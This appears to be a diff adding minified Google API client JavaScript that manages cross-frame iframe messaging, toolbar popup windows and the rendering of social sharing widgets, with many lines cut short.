+_.td={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};_.pd={allowtransparency:_.r,onload:_.r};_.sd=0;
+_.ud=function(a){_.U.Ug[a]||(_.U.Ug[a]={},_.S.S(a,function(c,f){var g=this.f;if("string"==typeof c&&!(c in{})&&!(g in{})){var h=this.callback,l=_.U.Ug[a][g],n;l&&window.Object.hasOwnProperty.call(l,c)?n=l[c]:window.Object.hasOwnProperty.call(_.U.ce,a)&&(n=_.U.ce[a]);if(n)return g=window.Array.prototype.slice.call(arguments,1),n._iframe_wrapped_rpc_&&h&&g.push(h),n.apply({},g)}(0,_.sa)(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',c,'" from frame "',g, [...]
+return _.s}));return _.U.Ug[a]};_.vd=function(a,c,f){function g(g){var l=window.Array.prototype.slice.call(arguments,0),n=l[l.length-1];if("function"===typeof n){var q=n;l.pop()}l.unshift(c,a,q,f);_.S.call.apply(_.S,l)}g._iframe_wrapped_rpc_=_.r;return g};_.wd=function(a,c){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)());(0,_.ta)(f,a,c)};_.xd=function(){return _.db.location.origin||_.db.location.protocol+"//"+_.db.location.host};
+_.yd=function(a){var c=(0,_.Fa)(a.location.href,"urlindex");if(c=(0,_.ta)(_.Pa,"fUrl",[])[c]){var f=a.location.hash,c=c+(/#/.test(c)?f.replace(/^#/,"&"):f);a.location.replace(c)}};_.zd=function(){_.U.Pl++;return["I",_.U.Pl,"_",(new window.Date).getTime()].join("")};
+_.Ad=function(a){if(0==a.indexOf("http:")||0==a.indexOf("https:")||0==a.indexOf("javascript:"))return a;if(0==a.indexOf("//"))return window.location.protocol+a;if(0==a.indexOf("/"))return window.location.protocol+"//"+window.location.host+a;var c=window.location.protocol+"//"+window.location.host+window.location.pathname,f=c.lastIndexOf("/");return c.substring(0,f+1)+a};_.Bd=function(a){return a instanceof window.Array?a.join(","):a instanceof window.Object?_.Q.stringify(a):a};
+_.Cd=function(a,c,f){var g={},h=a.indexOf("#");-1==h?(g.hash=_.s,g.Ac=a):(g.hash=a.substring(h+1),g.Ac=a.substring(0,h));a=g.Ac.indexOf("?");-1==a?g.pb=_.s:(g.pb=g.Ac.substring(a+1),g.Ac=g.Ac.substring(0,a));a=f?g.hash?[g.hash]:[]:g.pb?[g.pb]:[];for(var l in c)c.hasOwnProperty(l)&&(h=(0,_.Bd)(c[l]),a.push([(0,_.Dd)(l),(0,_.Dd)(h)].join("=")));f?g.hash=a.join("&"):g.pb=a.join("&");return g.Ac+(g.pb?"?"+g.pb:"")+(g.hash?"#"+g.hash:"")};
+_.Ed=function(){var a=(0,_.kd)(_.p);return a!==_.p&&a!==_.s&&""!==a?"u/"+a+"/":""};_.Fd=function(a){a&&a.match(_.Gd)&&(0,_.ab)("googleapis.config/gcv",a)};_.Hd=function(a){_.Vc.Ah.Ps(a)};_.Id=function(a,c){var f=c||{},g;for(g in a)a.hasOwnProperty(g)&&(f[g]=a[g]);return f};
+_.Jd=function(a,c,f,g,h){var l=[],n;for(n in a)if(a.hasOwnProperty(n)){var q=c,t=f,w=a[n],x=g,A=(0,_.ud)(n);A[q]=A[q]||{};x=_.R.Hg(x,w);w._iframe_wrapped_rpc_&&(x._iframe_wrapped_rpc_=_.r);A[q][t]=x;l.push(n)}if(h)for(n in _.U.ce)_.U.ce.hasOwnProperty(n)&&l.push(n);return l.join(",")};_.Kd=function(a,c,f){var g={};if(a&&a._methods){a=a._methods.split(",");for(var h=0;h<a.length;h++){var l=a[h];g[l]=(0,_.vd)(l,c,f)}}return g};
+_.Ld=function(a){return a&&a.disableMultiLevelParentRelay?_.u:_.Yc&&_.Yc._open&&"inline"!=a.style&&a.inline!==_.r&&!(a.container&&("string"==typeof a.container&&window.document.getElementById(a.container)||window.document==(a.container.ownerDocument||a.container.document)))};_.Md=function(a,c){function f(){}f.prototype=c.prototype;a.prototype=new f};
+_.Nd=function(a,c,f,g,h,l,n,q){if(":"==a.charAt(0)){var t=(0,_.O)("iframes/"+a.substring(1));a={};(0,_.Da)(t,a);if(t=a.url)t=t||"",t=t.replace(/:session_prefix:/g,(0,_.Ed)()),t=t.replace(/:session_index:/g,(0,_.kd)(_.p)||"0"),t=t.replace(/:socialhost:/g,(0,_.O)("iframes/:socialhost:")),a.url=(0,_.Ad)(t);a.params||(a.params={})}else a={url:(0,_.Ad)(a)};this.Ja=a;this.openParams=this.ya=c;this.ab=f||{};this.Pa=g;this.eh=_.u;c=c.style;if(!this.eh)if(c=c&&!_.U.Bf[c]&&_.U.Lh[c]){this.Kh=[];va [...]
+c(function(){w.eh=_.r;for(var a=0,c=w.Kh.length;a<c;++a)w.Kh[a].call(w)})}else this.eh=_.r;this.Je={};(0,_.Od)(this,function(){var a;(a=this.ya.style)&&_.U.Bf[a]?a=_.U.Bf[a]:a?((0,_.tb)(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=_.s):a=_.Pd;if(a){var c;if("function"===typeof a)c=a(this);else{var f={};for(c in a){var g=a[c];f[c]="function"===typeof g?_.R.Hg(a,g,this):g}c=f}for(var n in h)a=c[n],"function"===typeof a&&(0,_.Qd)(this,h[n],_.R.Hg(c,a)) [...]
+"close",l)});this.za=this.ac=n;this.hj=(q||[]).slice();n&&this.hj.unshift(n.aa())};_.Od=function(a,c){a.eh?c.call(a):a.Kh.push(c)};_.Qd=function(a,c,f){a.Je[c]=a.Je[c]||[];a.Je[c].push(f)};_.Rd=function(a,c){return"number"==typeof c?{value:c,pd:c+"px"}:"100%"==c?{value:100,pd:"100%",Yl:_.r}:_.s};_.Sd=function(a){return(0,_.Cd)(a.Ja.url,a.ab,_.u)};
+_.Td=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Ud,h,l,n);this.id=c.id||(0,_.zd)();this.d=c.rpcToken||window.Math.round(1E9*(0,_.ad)());a=this.ab;c={};f=this.Ja.params||{};for(var q in a)"#"==q.charAt(0)&&(c[q.substring(1)]=a[q]),0==q.indexOf("fr-")&&(c[q.substring(3)]=a[q]),"#"==f[q]&&(c[q]=a[q]);for(var t in c)delete a["fr-"+t],delete a["#"+t],delete a[t];this.i=c;this.Th={};(0,_.Od)(this,function(){this.Sb("open");(0,_.Id)(this.Th,this)})};
+_.Vd=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Wd,h,l,n);this.url=a;this.b=_.s;this.mj=(0,_.zd)();(0,_.Od)(this,function(){this.Sb("beforeparentopen");var a=(0,_.Id)(this.Pa);a._onopen=this.Wr;a._ready=this.Ng;a._onclose=this.Vr;this.ab._methods=(0,_.Jd)(a,"..",this.mj,this,_.r);var a={},c;for(c in this.ab)a[c]=(0,_.Bd)(this.ab[c]);var f=this.Ja.url;if(this.ya.hideUrlFromParent){c=window.name;var g=f,f=(0,_.Sd)(this),h=a,a={};a._methods=h._methods;a["#opener"]=h["#opener"];a["#url [...]
+a["#opener"]&&h["#urlindex"]!=_.p?(a["#opener"]=c+","+a["#opener"],c={url:g,ab:a}):(g=(0,_.ta)(_.Pa,"fUrl",[]),h=g.length,g[h]=f,_.Pa.rUrl=_.yd,a["#opener"]=c,a["#urlindex"]=h,c=_.Vc.ma(_.db.location.href),f=(0,_.O)("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c={url:c+f,ab:a});f=c.url;a=c.ab}_.Yc._open({url:f,openParams:this.ya,params:a,proxyId:this.mj,openedByProxyChain:this.hj})})};
+_.Xd=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Wd,l,n);this.id=c.id||(0,_.zd)();this.d=h;g._close=this.close;this.onClosed=this.b;this.xn=0;(0,_.Od)(this,function(){this.Sb("beforeparentopen");var a=(0,_.Id)(this.Pa);this.ab._methods=(0,_.Jd)(a,"..",this.mj,this,_.r);var a=(0,_.Cd)(this.Ja.url,this.ab,_.u),a=_.Yd.Jv(_.eb,a,this.id,{}),c=h.vm(a);this.canAutoClose=function(a){a(h.vk(c))};h.Vm(c,this);this.xn=c})};_.Zd=function(a){return _.U.Bf[a]};_.$d=function(a,c){_.U.Bf[a]=c}; _. [...]
+_.U.L=_.U.L||{};_.U.L.up=function(a){try{return!!a.document}catch(c){}return _.u};_.U.L.Zk=function(a){var c=a.parent;return a!=c&&_.U.L.up(c)?_.U.L.Zk(c):a};_.U.L.Mv=function(a){var c=a.userAgent||"";a=a.product||"";return 0!=c.indexOf("Opera")&&-1==c.indexOf("WebKit")&&"Gecko"==a&&0<c.indexOf("rv:1.")};
+if(window.ToolbarApi)_.be=window.ToolbarApi,_.be.na=window.ToolbarApi.getInstance,_.be.prototype=window.ToolbarApi.prototype,_.B=_.be.prototype,_.B.vm=_.be.prototype.openWindow,_.B.xk=_.be.prototype.closeWindow,_.B.Vm=_.be.prototype.setOnCloseHandler,_.B.vk=_.be.prototype.canClosePopup,_.B.Jm=_.be.prototype.resizeWindow;else{_.de=_.s;_.be=(0,_.v)();_.be.na=function(){!_.de&&(window.external&&window.external.GTB_IsToolbar)&&(_.de=new _.be);return _.de};_.B=_.be.prototype;_.B.vm=function(a [...]
+window.external.GTB_OpenPopup(a)};_.B.xk=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.B.Vm=function(a,c){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,c)};_.B.vk=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.B.Jm=function(a,c){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,c)};window.ToolbarApi=_.be;window.ToolbarApi.getInstance=_.be.na};
+_.Gd=/^[-_.0-9A-Za-z]+$/;_.Ud={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"};_.Wd={onBeforeParentOpen:"beforeparentopen"};_.Pd={onOpen:function(a){var c=a.ya;a.Qa(c.container||c.element);return a},onClose:function(a){a.remove()}};_.Dd=window.encodeURIComponent||window.escape;_.U.kq=function(a){var c=(0,_.N)();(0,_.Da)(_.td,c);(0,_.Da)(a,c);return c};_.B=_.Nd.prototype;_.B.ii=(0,_.y)("ya");
+_.B.wb=(0,_.y)("ab");_.B.gi=(0,_.y)("Pa");_.B.ji=(0,_.y)("za");_.B.ea=function(a,c){(0,_.Od)(this,function(){(0,_.Qd)(this,a,c)})};_.B.Xb=function(a,c){(0,_.Od)(this,function(){var f=this.Je[a];if(f)for(var g=0,h=f.length;g<h;++g)if(f[g]===c){f.splice(g,1);break}})};
+_.B.Sb=function(a,c){var f,g=this.Je[a];if(g)for(var h=window.Array.prototype.slice.call(arguments,1),l=0,n=g.length;l<n;++l)try{f=g[l].apply({},h)}catch(q){(0,_.sa)(['Exception when calling callback "',a,'" with exception "',q.name,": ",q.message,'".'].join(""))}return f};(0,_.Md)(_.Td,_.Nd);_.B=_.Td.prototype;
+_.B.Qa=function(a,c){if(!this.Ja.url)return(0,_.sa)("Cannot open iframe, empty URL."),this;var f=this.id;_.U.Uc[f]=this;var g=(0,_.Id)(this.Pa);g._ready=this.Ng;g._close=this.close;g._open=this.wm;g._resizeMe=this.Km;g._renderstart=this.rm;var h=this.i;this.d&&(h.rpctoken=this.d);h._methods=(0,_.Jd)(g,f,"",this,_.r);g=(0,_.Sd)(this);(0,_.Cd)(g,h,_.r);this.V=a="string"===typeof a?window.document.getElementById(a):a;g=(0,_.Sd)(this);g=(0,_.Cd)(g,h,_.r);h={id:f};if(c){h.attributes=c;var l=c [...]
+typeof l){var n;if(l){n=[];for(var l=l.split(";"),q=0,t=l.length;q<t;++q){var w=l[q];0==w.length&&q+1==t||(w=w.split(":"),2==w.length&&w[0].match(/^[ a-zA-Z_-]+$/)&&w[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?n.push(w.join(":")):(0,_.sa)(['Iframe style "',l[q],'" not allowed.'].join("")))}n=n.join(";")}else n="";c.style=n}}this.ya.allowPost&&(h.allowPost=_.r);this.b=(0,_.rd)(g,a,h);_.U.Uc[f]=this;f=g;_.S.Zg(this.id,this.d);_.S.$g(this.id,f);return this};_.B.Da=function(a,c){this.Th[a]=c};_.B.aa=( [...]
+_.B.ca=(0,_.y)("b");_.B.Bq=(0,_.y)("V");_.B.Qc=(0,_.ba)("V");_.B.Ng=function(a){var c=(0,_.Kd)(a,this.id,"");this.za&&"function"==typeof this.Pa._ready&&(a._methods=(0,_.Jd)(c,this.za.aa(),this.id,this,_.u),this.Pa._ready(a));(0,_.Id)(a,this);(0,_.Id)(c,this);this.Sb("ready",a)};_.B.rm=function(a){this.Sb("renderstart",a)};_.B.close=function(a){a=this.Sb("close",a);delete _.U.Uc[this.id];return a};_.B.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.pare [...]
+_.B.wm=function(a){var c=(0,_.Kd)(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.V);if((0,_.Ld)(a.openParams))new _.Vd(a.url,a.openParams,a.params,c,c._onclose,this,a.openedByProxyChain);else{var f=new _.Td(a.url,a.openParams,a.params,c,c._onclose,this,a.openedByProxyChain),g=this;(0,_.Od)(f,function(){var a={childId:f.aa()},l=f.Th;l._toclose=f.close;a._methods=(0,_.Jd)(l,g.id,f.id,f,_.u);c._onopen(a)})}};
+_.B.Km=function(a){if(this.Sb("resize",a)===_.p&&this.b){var c=(0,_.Rd)(this,a.width);c!=_.s&&(this.b.style.width=c.pd);a=(0,_.Rd)(this,a.height);a!=_.s&&(this.b.style.height=a.pd);if(this.b.parentElement&&(c!=_.s&&c.Yl||a!=_.s&&a.Yl))this.b.parentElement.style.display="block"}};(0,_.Md)(_.Vd,_.Nd);_.Vd.prototype.d=(0,_.y)("b");
+_.Vd.prototype.Wr=function(a){this.b=a.childId;var c=(0,_.Kd)(a,"..",this.b);(0,_.Id)(c,this);this.close=c._toclose;_.U.Uc[this.b]=this;this.za&&this.Pa._onopen&&(a._methods=(0,_.Jd)(c,this.za.aa(),this.b,this,_.u),this.Pa._onopen(a))};_.Vd.prototype.Ng=function(a){var c=(0,window.String)(this.b),f=(0,_.Kd)(a,"..",c);(0,_.Id)(a,this);(0,_.Id)(f,this);this.Sb("ready",a);this.za&&this.Pa._ready&&(a._methods=(0,_.Jd)(f,this.za.aa(),c,this,_.u),this.Pa._ready(a))};
+_.Vd.prototype.Vr=function(a){if(this.za&&this.Pa._onclose)this.Pa._onclose(a);else return a=this.Sb("close",a),delete _.U.Uc[this.b],a};(0,_.Md)(_.Xd,_.Nd);_.Xd.prototype.close=function(a){a=this.Sb("close",a);this.d.xk(this.xn);return a};_.Xd.prototype.b=function(){this.Sb("close")};_.U.Uc={};_.U.Bf={};_.U.Lh={};_.U.Pl=0;_.U.Ug={};_.U.ce={};_.U.Qg=_.s;_.U.Pg=[];
+_.U.as=function(a){var c=_.u;try{if(a!=_.s)var f=window.parent.frames[a.id],c=f.iframer.id==a.id&&f.iframes.openedId_(_.Yc.id)}catch(g){}try{_.U.Qg={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:c};for(a=0;a<_.U.Pg.length;++a)_.U.Pg[a](_.U.Qg);_.U.Pg=[]}catch(h){}};_.U.tq=function(a){var c=a&&a.za,f=_.s;c&&(f={},f.id=c.aa(),f.proxyChain=a.hj);return f};_.S.S("_noop_echo",function(){this.callback(_.U.tq(_.U.Uc[this.f]))});
+if(window.parent!=window){_.ee=_.R.qa();_.ee.gcv&&(0,_.Fd)(_.ee.gcv);_.fe=_.ee.jsh;_.fe&&(0,_.Hd)(_.fe);(0,_.Id)((0,_.Kd)(_.ee,"..",""),_.Yc);(0,_.Id)(_.ee,_.Yc);window.setTimeout(function(){_.S.call("..","_noop_echo",_.U.as)},0)}_.U.va=_.Zd;_.U.oa=_.$d;_.U.Ns=_.ce;_.U.$c=_.ae;_.U.fq=function(a){return _.U.Lh[a]};_.U.uj=function(a,c){_.U.Lh[a]=c};_.U.ts=_.ae;_.U.Us=_.ce;_.U.rg={};_.U.rg.get=_.Zd;_.U.rg.set=_.$d;_.U.jp=function(a,c){(0,_.ud)(a);_.U.ce[a]=c||window[a]};_.U.Gv=function(a){d [...]
+_.U.open=function(a,c,f,g,h,l){3==arguments.length?g={}:4==arguments.length&&"function"===typeof g&&(h=g,g={});var n="bubble"===c.style&&_.be&&_.be.na();return n?new _.Xd(a,c,f,g,n,h,l):(0,_.Ld)(c)?new _.Vd(a,c,f,g,h,l):new _.Td(a,c,f,g,h,l)};_.U.close=function(a,c){_.Yc&&_.Yc._close&&_.Yc._close(a,c)};
+_.U.Wb=function(a,c,f){2==arguments.length&&"function"===typeof h&&(f=c,c={});var g=a||{};"height"in g||(g.height=_.zb.fi());var h=c||{};g._methods=(0,_.Jd)(h,"..","",_.Yc,_.r);_.Yc&&_.Yc._ready&&_.Yc._ready(g,f)};_.U.Uk=function(a){_.U.Qg?a(_.U.Qg):_.U.Pg.push(a)};_.U.Yr=function(a){return!!_.U.Uc[a]};_.U.jq=function(){return["https://ssl.gstatic.com/gb/js/",(0,_.O)("googleapis.config/gcv")].join("")};
+_.U.fs=function(a){var c={mouseover:1,mouseout:1};if(_.Yc._event)for(var f=0;f<a.length;f++){var g=a[f];g in c&&_.R.Fe(window.document,g,function(a){_.Yc._event({event:a.type,timestamp:(new window.Date).getTime()})},_.r)}};_.U.Qs=_.Hd;_.U.tj=function(a){_.Vc.Ah.tj(a)};_.U.Vv=(0,_.v)();_.U.qr=_.Yc;
+(0,_.P)("iframes.allow",_.U.jp);(0,_.P)("iframes.callSiblingOpener",_.U.tp);(0,_.P)("iframes.registerForOpenedSibling",_.U.hs);(0,_.P)("iframes.close",_.U.close);(0,_.P)("iframes.getGoogleConnectJsUri",_.U.jq);(0,_.P)("iframes.getHandler",_.U.va);(0,_.P)("iframes.getDeferredHandler",_.U.fq);(0,_.P)("iframes.getParentInfo",_.U.Uk);(0,_.P)("iframes.iframer",_.U.qr);(0,_.P)("iframes.open",_.U.open);(0,_.P)("iframes.openedId_",_.U.Yr);(0,_.P)("iframes.propagate",_.U.fs);(0,_.P)("iframes.read [...]
+(0,_.P)("iframes.resize",_.U.$c);(0,_.P)("iframes.setGoogleConnectJsVersion",_.U.Ns);(0,_.P)("iframes.setBootstrapHint",_.U.tj);(0,_.P)("iframes.setJsHint",_.U.Qs);(0,_.P)("iframes.setHandler",_.U.oa);(0,_.P)("iframes.setDeferredHandler",_.U.uj);(0,_.P)("IframeBase",_.Nd);(0,_.P)("IframeBase.prototype.addCallback",_.Nd.prototype.ea);(0,_.P)("IframeBase.prototype.getMethods",_.Nd.prototype.gi);(0,_.P)("IframeBase.prototype.getOpenerIframe",_.Nd.prototype.ji);
+(0,_.P)("IframeBase.prototype.getOpenParams",_.Nd.prototype.ii);(0,_.P)("IframeBase.prototype.getParams",_.Nd.prototype.wb);(0,_.P)("IframeBase.prototype.removeCallback",_.Nd.prototype.Xb);(0,_.P)("Iframe",_.Td);(0,_.P)("Iframe.prototype.close",_.Td.prototype.close);(0,_.P)("Iframe.prototype.exposeMethod",_.Td.prototype.Da);(0,_.P)("Iframe.prototype.getId",_.Td.prototype.aa);(0,_.P)("Iframe.prototype.getIframeEl",_.Td.prototype.ca);(0,_.P)("Iframe.prototype.getSiteEl",_.Td.prototype.Bq);
+(0,_.P)("Iframe.prototype.openInto",_.Td.prototype.Qa);(0,_.P)("Iframe.prototype.remove",_.Td.prototype.remove);(0,_.P)("Iframe.prototype.setSiteEl",_.Td.prototype.Qc);(0,_.P)("Iframe.prototype.addCallback",_.Td.prototype.ea);(0,_.P)("Iframe.prototype.getMethods",_.Td.prototype.gi);(0,_.P)("Iframe.prototype.getOpenerIframe",_.Td.prototype.ji);(0,_.P)("Iframe.prototype.getOpenParams",_.Td.prototype.ii);(0,_.P)("Iframe.prototype.getParams",_.Td.prototype.wb);
+(0,_.P)("Iframe.prototype.removeCallback",_.Td.prototype.Xb);(0,_.P)("IframeProxy",_.Vd);(0,_.P)("IframeProxy.prototype.getTargetIframeId",_.Vd.prototype.d);(0,_.P)("IframeProxy.prototype.addCallback",_.Vd.prototype.ea);(0,_.P)("IframeProxy.prototype.getMethods",_.Vd.prototype.gi);(0,_.P)("IframeProxy.prototype.getOpenerIframe",_.Vd.prototype.ji);(0,_.P)("IframeProxy.prototype.getOpenParams",_.Vd.prototype.ii);(0,_.P)("IframeProxy.prototype.getParams",_.Vd.prototype.wb);
+(0,_.P)("IframeProxy.prototype.removeCallback",_.Vd.prototype.Xb);(0,_.P)("IframeWindow",_.Xd);(0,_.P)("IframeWindow.prototype.close",_.Xd.prototype.close);(0,_.P)("IframeWindow.prototype.onClosed",_.Xd.prototype.b);(0,_.P)("iframes.util.getTopMostAccessibleWindow",_.U.L.Zk);(0,_.P)("iframes.handlers.get",_.U.rg.get);(0,_.P)("iframes.handlers.set",_.U.rg.set);(0,_.P)("iframes.resizeMe",_.U.ts);(0,_.P)("iframes.setVersionOverride",_.U.Us);
+
+_.ge=function(a){var c=(0,_.Sa)();return c?c(a):_.u};_.he=(0,_.ta)(_.Pa,"rw",(0,_.N)());
+_.ie=function(a,c){var f=_.he[a];f&&f.state<c&&(f.state=c)};_.ke=function(a){a=(a=_.he[a])?a.oid:_.p;if(a){var c=_.eb.getElementById(a);c&&c.parentNode.removeChild(c);delete _.he[a];(0,_.ke)(a)}};_.le=function(a){a=a.style;a.textIndent="0";a.margin="0";a.padding="0";a.background="transparent";a.borderStyle="none";a.cssFloat="none";a.styleFloat="none";a.lineHeight="normal";a.fontSize="1px";a.verticalAlign="baseline"};
+_.me=function(a){a=a.ya.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.ne=function(a){var c=a.clientWidth;return"position:absolute;top:-10000px;width:"+(c?c+"px":a.style.width||"300px")+";margin:0px;border-style:none;"};
+_.oe=function(a,c){var f={};f.width=c?c.width:a.width;f.height=c?c.height:a.height;var g=a.ca(),h=a.aa();(0,_.ie)(h,2);(h=_.he[h])&&(h.args=f);a:{h=g.parentNode;f=f||{};if((0,_.ge)()){if("number"===typeof _.Pa.ucs)break a;var l=g.id;if(l){var n;n=(n=_.he[l])?n.state:_.p;if(1===n||4===n)break a;(0,_.ke)(l)}}n=f.width;f=f.height;(0,_.le)(h);h.style.display="inline-block";g=g.style;g.position="static";g.left=0;g.top=0;g.visibility="visible";n&&(g.width=n+"px");f&&(g.height=f+"px");l&&(0,_.i [...]
+_.pe={open:function(a){var c=(0,_.me)(a);return a.Qa(c,{style:(0,_.ne)(c,a)})},attach:function(a,c){var f=(0,_.me)(a),g=c.id,h=c.getAttribute("data-postorigin")||c.src,l=/#(?:.*&)?rpctoken=(\d+)/.exec(h),l=l&&l[1];a.id=g;a.d=l;a.V=c.parentNode;a.b=c;_.U.Uc[g]=a;l=(0,_.Id)(a.Pa);l._ready=a.Ng;l._close=a.close;l._open=a.wm;l._resizeMe=a.Km;l._renderstart=a.rm;(0,_.Jd)(l,g,"",a,_.r);_.S.Zg(a.id,a.d);_.S.$g(a.id,h);var f=_.U.kq({style:(0,_.ne)(f,a)}),n;for(n in f)window.Object.prototype.hasO [...]
+
+
+_.qe=function(a){var c;a.match(/^https?%3A/i)&&(c=(0,window.decodeURIComponent)(a));a=c?c:a;return(0,_.Ma)(window.document,a)};_.re=function(a){a=a||"canonical";for(var c=window.document.getElementsByTagName("link"),f=0,g=c.length;f<g;f++){var h=c[f],l=h.getAttribute("rel");if(l&&l.toLowerCase()==a&&(h=h.getAttribute("href")))return(0,_.qe)(h)}return window.location.href};_.se=function(a,c,f,g){return(a="string"==typeof a?a:_.p)?(0,_.qe)(a):(0,_.re)(g)};
+_.te=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a};_.ue=function(a){var c=(0,window.parseInt)(a,10);if(c==a)return(0,window.String)(c)};_.ve=function(a){if((0,_.te)(a))return"true"};_.we=function(a){return"string"==typeof a&&_.xe[a.toLowerCase()]?a.toLowerCase():"standard"};_.ye=function(a,c){return"tall"==(0,_.we)(c)?"true":a==_.s||(0,_.te)(a)?"true":"false"};_.ze=function(a,c,f){a==_.s&&f&&(a=f.db,a==_.s&&(a=f.gwidget&&f.gwidget.db));return a||_.p};
+_.Ae=function(a,c,f){a==_.s&&f&&(a=f.ecp,a==_.s&&(a=f.gwidget&&f.gwidget.ecp));return a||_.p};_.xe={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}};
+_.Be={href:[_.se,"url"],width:[_.ue],size:[_.we],resize:[_.ve],autosize:[_.ve],count:[function(a,c){return(0,_.ye)(c.count,c.size)}],db:[_.ze],ecp:[_.Ae],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[_.ve],recommendations:[],fu:[],ad:[_.ve],cr:[_.ue],ag:[_.ue],"fr-ai":[],"fr-sigh":[]};
+
+
+_.Ce=(0,_.Ra)();
+_.De=function(a,c){if(!_.Ee){var f=(0,_.O)("iframes/:socialhost:"),g=(0,_.kd)(_.p)||"0",h=(0,_.kd)(_.p);_.Ee={socialhost:f,session_index:g,session_prefix:h!==_.p&&h!==_.s&&""!==h?"u/"+h+"/":"",im_prefix:(0,_.O)("googleapis.config/signedIn")===_.u?"_/im/":""}}return _.Ee[c]||""};_.Fe=function(a,c,f){return(0,_.se)(a,c,f,c.action?_.p:"publisher")};_.Ge=function(){return window.location.origin||window.location.protocol+"//"+window.location.host};
+_.He=function(a){var c=_.p;"number"===typeof a?c=a:"string"===typeof a&&(c=(0,window.parseInt)(a,10));return c};_.Ie=function(a,c){if("string"==typeof a){a=a.toLowerCase();var f;for(f=0;f<c.length;f++)if(c[f]==a)return a}};_.Je=function(a){return(0,_.Ie)(a,_.Ke)};_.Le=function(a){return(0,_.Ie)(a,_.Me)};_.Ne=function(a){a.source=[_.s,"source"];a.expandTo=[_.s,"expandTo"];a.align=[_.Le];a.annotation=[_.Je];a.origin=[_.Ge]};
+_.Oe=function(a){if(_.Ba.test(window.Object.keys))return window.Object.keys(a);var c=[],f;for(f in a)(0,_.Ca)(a,f)&&c.push(f);return c};
+_.Pe=function(a,c){_.Qe.ps0=(new window.Date).getTime();(0,_.Re)("ps0");var f=("string"===typeof a?window.document.getElementById(a):a)||_.eb,g;g=_.eb.documentMode;if(f.querySelectorAll&&(!g||8<g)){g=c?[c]:(0,_.Oe)(_.Se).concat((0,_.Oe)(_.Te)).concat((0,_.Oe)(_.Ue));for(var h=[],l=0;l<g.length;l++){var n=g[l];h.push(".g-"+n,"g\\:"+n)}g=f.querySelectorAll(h.join(","))}else g=f.getElementsByTagName("*");f=(0,_.N)();for(h=0;h<g.length;h++){l=g[h];var q=l,n=c,t=q.nodeName.toLowerCase(),w=_.p [...]
+n=_.s:(0==t.indexOf("g:")?w=t.substr(2):(q=(q=(0,window.String)(q.className||q.getAttribute("class")))&&_.Ve.exec(q))&&(w=q[1]),n=w&&(_.Se[w]||_.Te[w]||_.Ue[w])&&(!n||w===n)?w:_.s);n&&(l.setAttribute("data-gapiscan",_.r),(0,_.ta)(f,n,[]).push(l))}for(var x in f)_.We.push(x);_.Qe.ps1=(new window.Date).getTime();(0,_.Re)("ps1");(x=_.We.join(":"))&&_.fb.load(x,_.p);var A,l=[];for(A in f){h=f[A];g=0;for(x=h.length;g<x;g++){for(var q=h[g],n=A,t=w=q,q=(0,_.N)(),E=0!=t.nodeName.toLowerCase().in [...]
+J=0,K=t.attributes.length;J<K;J++){var M=t.attributes[J],T=M.name,M=M.value;0<=_.wb.call(_.Xe,T)||(E&&0!=T.indexOf("data-")||"null"===M)||(E&&(T=T.substr(5)),q[T.toLowerCase()]=M)}t=t.style;(E=(0,_.He)(t&&t.height))&&(q.height=(0,window.String)(E));(t=(0,_.He)(t&&t.width))&&(q.width=(0,window.String)(t));(0,_.Ye)(n,w,q,l,x)}}};
+_.Ze=function(a,c){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)())[a];c&&f?(f(c),(f=c.iframeNode)&&f.setAttribute("data-gapiattached",_.r)):_.fb.load(a,function(){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)())[a],h=c&&c.iframeNode;!h||!f?(0,_.fb[a].go)(h&&h.parentNode):(f(c),h.setAttribute("data-gapiattached",_.r))})};
+_.Ye=function(a,c,f,g,h){switch((0,_.$e)(c,a)){case 0:a=_.Ue[a]?a+"_annotation":a;g={};g.iframeNode=c;g.userParams=f;(0,_.Ze)(a,g);break;case 1:if(c.parentNode){var l=_.r;f.dontclear&&(l=_.u);delete f.dontclear;var n,q,t;q=t=a;"plus"==a&&f.action&&(t=a+"_"+f.action,q=a+"/"+f.action);(t=(0,_.O)("iframes/"+t+"/url"))||(t=":socialhost:/_/widget/render/"+q);q=t.replace(_.af,_.De);t={};(0,_.Da)(f,t);t.hl=(0,_.O)("lang")||"en-US";t.origin=(0,_.Ge)();t.exp=(0,_.O)("iframes/"+a+"/params/exp");va [...]
